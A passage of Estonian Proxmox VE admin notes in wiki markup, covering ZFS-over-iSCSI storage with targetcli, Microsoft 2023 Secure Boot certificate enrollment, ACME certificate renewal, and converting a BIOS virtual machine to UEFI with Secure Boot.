* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
